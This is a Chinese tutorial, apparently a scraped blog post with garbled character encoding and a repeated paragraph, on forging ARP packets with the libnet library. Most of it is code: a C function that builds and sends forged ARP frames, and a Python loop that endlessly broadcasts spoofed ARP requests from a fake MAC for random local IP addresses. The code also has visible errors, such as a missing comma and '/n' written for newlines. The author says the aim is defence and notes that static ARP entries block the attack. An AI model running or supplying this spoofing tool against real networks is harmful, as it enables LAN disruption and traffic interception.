一臺(tái)網(wǎng)絡(luò)中的計(jì)算機(jī),其傳遞到網(wǎng)絡(luò)中的數(shù)據(jù)包的內(nèi)容是完全由其軟硬件邏輯決定的,軟件可以操控硬件,硬件亦是一種特殊的軟件,所以,接收者只根據(jù)數(shù)據(jù)包的內(nèi)容,絕不可能判定此數(shù)據(jù)包的真正來(lái)源,一切都是可以偽造的。
網(wǎng)絡(luò)系統(tǒng)功與防的矛盾斗爭(zhēng),可以使得我們更加快速的發(fā)現(xiàn)并修補(bǔ)系統(tǒng)漏洞,而且這種矛盾關(guān)系必然存在。
人外有人,天外有天。
攻的最高境界便是不戰(zhàn),是和平。
靜態(tài)arp表項(xiàng)輕松破解ARP偽造報(bào)文的攻擊。我們研究偽造報(bào)文的目的在于深刻理解系統(tǒng)以更好地防御,而非攻擊。
ARP : Address Resolution PRotocol,地址解析協(xié)議,其基本功能為通過(guò)目標(biāo)設(shè)備的ip地址,查詢目標(biāo)設(shè)備的MAC地址,以保證通信的順利進(jìn)行。它是IPv4中網(wǎng)絡(luò)層必不可少的協(xié)議,不過(guò)在IPv6中已不再適用,并被鄰居發(fā)現(xiàn)協(xié)議(NDP)所替代。
——維基百科
基礎(chǔ)資料推薦:《TCP-IP詳解 卷1:協(xié)議》《ARP協(xié)議簡(jiǎn)介》
需要注意,書(shū)中闡述的大多數(shù)arp緩存更新規(guī)則對(duì)現(xiàn)代操作系統(tǒng)已經(jīng)不再適用,試想,一次ARP廣播就可以更新當(dāng)前局域網(wǎng)中所有主機(jī)的arp緩存條目,這是多么大的系統(tǒng)漏洞?一輪ARP偽造報(bào)文的攻擊,便能使這個(gè)局域網(wǎng)主機(jī)之間的通訊陷入癱瘓。所以,現(xiàn)代操作系統(tǒng)采取了更加保守的arp緩存更新規(guī)則,上圖已在Win7-64位操作系統(tǒng)與linux 2.6.32內(nèi)核上獲得驗(yàn)證。
一臺(tái)網(wǎng)絡(luò)中的計(jì)算機(jī),其傳遞到網(wǎng)絡(luò)中的數(shù)據(jù)包的內(nèi)容是完全由其軟硬件邏輯決定的,軟件可以操控硬件,硬件也是一種特殊的軟件,所以,接收者只根據(jù)數(shù)據(jù)包的內(nèi)容,絕不可能判定此數(shù)據(jù)包的真正來(lái)源,一切都是可以偽造的。
操作系統(tǒng)與硬件具有構(gòu)造數(shù)據(jù)包的能力,當(dāng)操作系統(tǒng)把這種能力以系統(tǒng)調(diào)用的方式提供給編程者時(shí),則,編程者亦擁有了構(gòu)造任意數(shù)據(jù)包的能力。
而Libnet又對(duì)這些系統(tǒng)調(diào)用進(jìn)行了又一次的邏輯封裝,將這些能力以更加容易使用的方式展露出來(lái),以加快應(yīng)用程序的開(kāi)發(fā)速度。
實(shí)驗(yàn)環(huán)境為GNU/Linux,以太網(wǎng),主機(jī)應(yīng)已安裝libnet。
ForgeArp.c
1 //// # gcc ForgeArp.c -lnet -shared -fPIC -o ForgeArp.so 2 #include <stdio.h> 3 #include <stdlib.h> 4 #include <string.h> 5 #include <unistd.h> 6 #include <libnet.h> 7 #define MAC_ADDR_LEN 6 8 #define IP_ADDR_LEN 4 9 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,10 char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes11 )12 {13 libnet_t *net_t = NULL; 14 unsigned long src_ip,dst_ip = 0; 15 char err_buf[LIBNET_ERRBUF_SIZE];16 libnet_ptag_t p_tag; 17 unsigned int i=0;18 src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);19 if (src_ip==-1)20 {21 printf("error: libnet_name2addr4 src_ip /n");22 return 1;23 }24 dst_ip = libnet_name2addr4(net_t,dst_ip_str,LIBNET_RESOLVE);25 if (dst_ip==-1)26 {27 printf("error: libnet_name2addr4 dst_ip /n");28 return 1;29 }30 31 printf("the src_ip_str is %s,uint32 src_ip is %d/n",src_ip_str,src_ip);32 printf("the dst_ip_str is %s,uint32 dst_ip is %d/n",dst_ip_str,dst_ip);33 34 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 35 if(net_t == NULL)36 {37 printf("libnet_init error/n");38 return 2;39 }40 41 p_tag = libnet_build_arp(42 ARPHRD_ETHER,//hardware type ethernet43 ETHERTYPE_IP,//protocol type44 MAC_ADDR_LEN,//mac length45 IP_ADDR_LEN,//protocol length46 arpOp,//op type47 (u_int8_t *)src_mac,//source mac addr48 (u_int8_t *)&src_ip,//source ip addr49 (u_int8_t *)dst_mac,//dest mac addr50 (u_int8_t *)&dst_ip,//dest ip addr51 NULL,//payload52 0,//payload length53 net_t,//libnet context54 0//0 stands to build a new one55 );56 57 if(-1 == p_tag)58 {59 printf("libnet_build_arp error/n");60 libnet_destroy(net_t);61 return 3;62 }63 64 p_tag = libnet_build_ethernet(//create ethernet header65 (u_int8_t *)dst_mac,//dest mac addr66 (u_int8_t *)src_mac,//source mac addr67 ETHERTYPE_ARP,//protocol type68 NULL,//payload69 0,//payload length70 net_t,//libnet context71 0//0 to build a new one72 );73 74 if(-1 == p_tag)75 {76 printf("libnet_build_ethernet error!/n");77 libnet_destroy(net_t);78 return 4;79 }80 81 int res;82 i=0;83 for(;i<sendTimes;i++)84 if(-1 == (res = libnet_write(net_t)))85 {86 printf("libnet_write error!/n");87 libnet_destroy(net_t);88 return 5;89 }90 91 libnet_destroy(net_t);92 return 0;93 FAIL: 94 libnet_destroy(net_t);95 return 6;96 }
我們已經(jīng)將ForgeArp功能編譯成了shared object,接下來(lái)Python入場(chǎng)。
forgeArpTest.py
1 """ 2 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 3 char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes 4 ) 5 """ 6 import time 7 import random 8 from ctypes import * 9 arpLib=CDLL('./ForgeArp.so')10 11 def MacTran(macStr):12 MacType= c_ubyte * 613 macStr=macStr.translate(None,":")14 return MacType(int(macStr[0:2],16),int(macStr[2:4],16),int(macStr[4:6],16),/15 int(macStr[6:8],16)int(macStr[8:10],16),int(macStr[10:12],16))16 while True:17 lis=["192.168.0."]18 lis.append(str(int(random.random()*1000/4)))19 if lis[1]=='36':20 continue21 arpLib.ForgeAndSendArp("eth0",MacTran("66:66:66:66:66:66"),MacTran("FF:FF:FF:FF:FF:FF") /22 ,''.join(lis),"192.168.0.1",c_ushort(1),c_uint(2))23 time.sleep(1)24 25 print ":)"
關(guān)于ForgeAndSendArp函數(shù)中arpOp參數(shù)的選項(xiàng)如下:
// 源碼頭文件libnet-1.2-rc3/include/libnet/libnet-headers.h
1 // 僅摘部分內(nèi)容2 uint16_t ar_op; /* Operation type */3 #define ARPOP_REQUEST 1 /* req to resolve address */4 #define ARPOP_REPLY 2 /* resp to previous request */5 #define ARPOP_REVREQUEST 3 /* req protocol address given hardware */6 #define ARPOP_REVREPLY 4 /* resp giving protocol address */7 #define ARPOP_INVREQUEST 8 /* req to identify peer */8 #define ARPOP_INVREPLY 9 /* resp identifying peer */
代碼測(cè)試無(wú)誤。
靜態(tài)arp表項(xiàng)輕松破解ARP偽造報(bào)文的攻擊。我們偽造報(bào)文的目的在于深刻理解系統(tǒng)以更好地防御,而非攻擊。
如有問(wèn)題或者優(yōu)化建議,歡迎討論!
新聞熱點(diǎn)
疑難解答
圖片精選